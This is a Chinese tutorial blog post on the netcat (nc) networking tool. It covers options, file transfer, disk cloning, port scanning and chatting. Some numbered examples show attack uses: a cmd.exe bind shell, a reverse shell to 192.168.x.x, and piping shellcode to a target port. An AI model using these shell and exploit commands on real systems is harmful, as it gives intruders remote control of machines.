功能说明:强大的网络工具

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参  数:-g<网关>  设置路由器跃程通信网关,最多可设置8个。-G<指向器数目>  设置来源路由指向器,其数值为4的倍数。-h   在线帮助。-i<延迟秒数>  设置时间间隔,以便传送信息及扫描通信端口。-l   使用监听模式,管控传入的资料。-n   直接使用IP地址,而不通过域名服务器。-o<输出文件>  指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p<通信端口>  设置本地主机使用的通信端口。-r   乱数指定本地与远端主机的通信端口。-s<来源位址>  设置本地主机送出数据包的IP地址。-u   使用UDP传输协议。-v   显示指令执行过程。-w<超时秒数>  设置等待连线的时间。-z   使用0输入/输出模式,只在扫描通信端口时使用。

linux nc (netcat)最新版源码下载及nc命令详解

http://netcat.sourceforge.net/

扩展资料一: nc简单使用示例

简单用法举例

1.端口扫描
# nc -v -w 2 192.168.2.34 -z 21-24
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh]succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused2.从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -lp 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 1234 < test.txt3.简单聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。4.用nc命令操作memcached
1)存储数据:printf "setkey 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)获取数据:printf “get keyrn” |nc 192.168.2.34 11211
3)删除数据:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看状态:printf "statsrn” |nc 192.168.2.34 11211
5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211
6)清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)nc -l 1234nc 127.0.0.1 1234在端口1234建立连接,互相发送输入
nc -p 1234 -w 5 host.example.com 80建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com 53
u为UDP连接echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行
nc -v -z host.example.com 70-80
扫描端口(70到80),可指定范围。-v输出详细信息。 5.连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
6.监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
7.扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
8.REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
9.REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
10.作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
11.作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
12.作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
13.作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
14.备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

扩展资料二:命令linux nc命令传输文件

nc到底干嘛用的我不多描述,今天主要讲下用nc传输文件。由于公司的设备sudo后没有ssh,scp等远程接入命令,或host.deny里面设置了ssh的deny,不管怎样的原因。我今天跨过大家常用的scp,来说明下一个更有用的轻量级工具,nc的另一个强大的功—文件传输。

范例如下:
目的主机监听
nc -l 监听端口  >要接收的文件名
nc -l 4444 > cache.tar.gz源主机发起请求
nc  目的主机ip   目的端口
nc  192.168.0.85  4444 netstat如下
[root@localhost jiangbao]# netstat -tpln
tcp        0      0 0.0.0.0:4444                0.0.0.0:*                   LISTEN      18166/nc
英文描述如下
DATA TRANSFER
Start by using nc to listen on a specific port, with output captured into a file:
$ nc -l 1234 > filename.out
Using a second machine, connect to the listening nc process, feeding it the file whichis to be transferred:
$ nc host.example.com 1234

扩展资料三: linux nc (NetCat)命令详解

一、版本

通常的Linux发行版中都带有NetCat(简称nc),甚至在拯救模式光盘中也由busybox提供了简版的nc工具。但不同的版本,其参数的使用略有差异。
NetCat 官方地址:http://netcat.sourceforge.net/

引用[root@hatest1 ~]# cat /etc/asianux-release
Asianux release 2.0 (Trinity SP2)
[root@hatest1 ~]# cat /etc/redflag-release
Red Flag DC Server release 5.0 (Trinity SP2)
[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22
建议在使用前,先用man nc看看帮助。这里以红旗DC Server 5.0上的1.10版本进行简单说明。
假设两服务器信息:引用server1: 192.168.228.221
server2: 192.168.228.222

二、常见使用

1、远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行:

[root@hatest2 tmp]# nc -lp 1234 > install.log
server1上运行:

引用

[root@hatest1 ~]# ll install.log
-rw-r–r– 1 root root 39693 12月 20 2007 install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

2、克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作:

nc -l -p 1234 | dd of=/dev/sda

server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:

dd if=/dev/sda | nc 192.168.228.222 1234

※完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。

3、端口扫描
可以执行:

引用

nc -v -w 1 192.168.228.222 -z 1-1000

hatest2 [192.168.228.222] 22 (ssh) open

4、保存Web页面

while true; do nc -l -p 80 -q 1 < somepage.html; done

5、模拟HTTP Headers

引用

[root@hatest1 ~]# ncwww.linuxso.com 80

GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser

HTTP/1.1 200 OK
Date: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[…]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。

6、聊天
nc还可以作为简单的字符下聊天工具使用,同样的,server2上需要启动监听:

[root@hatest2 tmp]# nc -lp 1234

server1上传输:

[root@hatest1 ~]# nc 192.168.228.222 1234

这样,双方就可以相互交流了。使用Ctrl+D正常退出。

7、传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:

引用

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上运行:

引用

[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234

8、参数简介
这仅是一个1.10版本的简单说明,详细的参数使用还是需要看man:

引用

想要连接到某处: nc [-options] hostname port[s] [ports] …
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时,其中端口号可以指定一个或者用lo-hi式的指定范围。

三、版本差异
不用系统上提供的nc版本会有说不同,其提供的参数使用方法也略有差异。
例如,红旗Asianux 3.0 SP1拯救光盘上的版本是供使用的参数仅有一部分:

引用

nc -h

BusyBox v1.2.0 (2008.04.14-01:35+0000) multi-call binary

Usage: nc [OPTIONS] [IP] [port]

Netcat opens a pipe to IP:port

Options:
-l listen mode, for inbound connects
-p PORT local port number
-i SECS delay interval for lines sent
-e PROG program to exec after connect (dangerous!)
-w SECS timeout for connects and final net reads
而在Asianux 3.0 SP1系统中提供的nc版本则是1.84的,按上面的参数用法写会执行不了:

引用

[root@ftpserver ~]# rpm -q nc
nc-1.84-10
[root@ftpserver ~]# nc -lp 1234
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
讲查看man文档,可见在这个版本中,-l是不能与-s、-p、-z一起使用的,-w参数也会被忽略,所以,正确的用法是:

[root@ftpserver tmp]# nc -l 1234

四、用在脚本中
nc每次启动监听后,都会在客户端连接完成并退出的同时,服务端一同退出。所以,如果需要不断的使用nc进行数据传输,需要在脚本中使用循环。利用nc实现更多的功能,可参考其rpm提供的参考脚本:

引用

rpm -qd nc

/usr/share/doc/nc-1.10/Changelog
/usr/share/doc/nc-1.10/README
/usr/share/doc/nc-1.10/scripts/README
/usr/share/doc/nc-1.10/scripts/alta
/usr/share/doc/nc-1.10/scripts/bsh
/usr/share/doc/nc-1.10/scripts/dist.sh
/usr/share/doc/nc-1.10/scripts/irc

/usr/share/doc/nc-1.10/scripts/iscan
/usr/share/doc/nc-1.10/scripts/ncp
/usr/share/doc/nc-1.10/scripts/probe
/usr/share/doc/nc-1.10/scripts/web
/usr/share/doc/nc-1.10/scripts/webproxy
/usr/share/doc/nc-1.10/scripts/webrelay
/usr/share/doc/nc-1.10/scripts/websearch
/usr/share/man/man1/nc.1.gz
————————————————
版权声明:本文为CSDN博主「michael493439861」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/michael493439861/article/details/7445454

Linux 网络工具——nc命令相关推荐

  1. 网络工具nc的常见功能和用法

    文章目录 前言 nc netcat ncat nc的用法 测试udp端口是否可用 端口扫描 一对一聊天 传输文件 端口转发 总结 前言 nc 是一个Linux环境下常用的工具命令,可以用来帮助开发者查 ...

  2. Linux 远程工具 基础命令

    Linux 远程工具 基础命令 文章目录 Linux 远程工具 基础命令 1.虚拟机关键配置名词解释 1.1.虚拟网络编辑器说明 2.远程链接工具 3.linux 命令准则 4.系统运行命令 5.常用 ...

  3. Linux下利用nc命令来监控检测服务器的端口使用情况

    检测端口还在用telnet?太落伍把 有没有批量检测的方法?有的.我们用nc就可以快速检测端口的开放性. nc检测端口的用法 nc -z  -w 10  %IP%    %PORT% -z表示检测或者 ...

  4. linux ip命令 flush,Linux网络工具学习之:IP命令学习03

    8种机械键盘轴体对比 本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选? 标签(空格分隔): 网络本文旨在通过IP命令介绍和学习Linux网络的相关知识 1. 概述 2. ip link 3. ...

  5. 【笔记】IP地址详解、Linux网络及常用命令

    IP地址 IP地址基本概念 IP地址(Internet Protocol Address)是指互联网协议地址,又译为网际协议地址.IP地址在网络层将不同的物理网络地址统一到了全球唯一的IP地址上(屏蔽 ...

  6. 那些年,用过的Linux网络工具

    Linux作为一款强大的操作系统,凭借其优异的的网络服务功能,被广泛使用到云服务中心.数据中心.嵌入式边缘物联代理等需要可靠的网络服务支持的场景中.具体到生成环境,免不了使用工具去管理和控制网络,本文 ...

  7. linux 网络参数设置命令

    网络参数设置命令  所有时刻如果你想要做好自己的网络参数设置,包括IP参数.路由参数和无线网络等,就得要了解下面这些相关的命令才行.其中Route及ip这两条命令是比较重要的.当然,比较早期的用法,我 ...

  8. 注意啦!10 个你需要了解的 Linux 网络和监控命令

    下面列出来的10个基础的每个Linux用户都应该知道的网络和监控命令.网络和监控命令类似于这些:hostname, ping, ifconfig, iwconfig, netstat, nslooku ...

  9. linux时间戳_10款优秀的 Linux 网络工具

    作者:LinuxAndUbuntu 链接:linux.cn/article-9153-1.html iftop iftop network monitoring tool Linux 用户通常都熟悉 ...

最新文章

  1. 负数分解质因数java_Java经典案例之-“分解质因数”
  2. Tool之Adobe:解决Adobe acrobat pro将PDF文件进行批量保存单页PDF文件(图文教程)
  3. 使用ASIFormDataRequest打印参数和给项目添加测试账号
  4. 【CLRS】《算法导论》读书笔记(一):堆排序(Heapsort)
  5. mysql found row_mysql found_row()使用详解
  6. vmware中按Ctrl+Alt+Del的困扰
  7. python编程词典_Python 字典(Dictionary)操作详解
  8. mysql dbversion_爱可生详解MySQL|不能从MySQL 8.0 复制到 5.8?一招教你解决
  9. wowza流媒体服务器安全设置
  10. 在线购物系统—类图设计
  11. Android常用工具类...
  12. 《财务报表分析从入门到精通》——读书笔记
  13. mongo上云迁移同步mongoshake
  14. Android 10适配要点,深色主题
  15. 基于GitHub搭建个人网站
  16. 红旗linux 6,初识 Linux(红旗Linux 6)
  17. JQuery-样式篇
  18. 分享一个可以下载网页上视频软件(IDM 6.33.2)下载器
  19. 2022企业级BI平台白皮书(附下载)
  20. 拨开云雾见月明—计算其实很简单

热门文章

  1. 6款强大免费电脑录屏软件,好用给力
  2. python re模块 - 正则表达式
  3. 为什么子网号位数没有0,1,15和16
  4. Attention模型方法综述 | 多篇经典论文解读
  5. PTA Python作业6函数
  6. 大数据之spark_spark的Action算子解析
  7. linux中的grep和egrep命令,Linux之grep和egrep命令总结
  8. html5绘制直线和曲线,SVG基础 | 绘制SVG直线、折线和多边形
  9. java判断jsonobject是否为空_javascript中如何判断json是否为空呢?
  10. mysql5.7如何启动服务_Mysql 5.7.18安装方法及启动MySQL服务的过程详解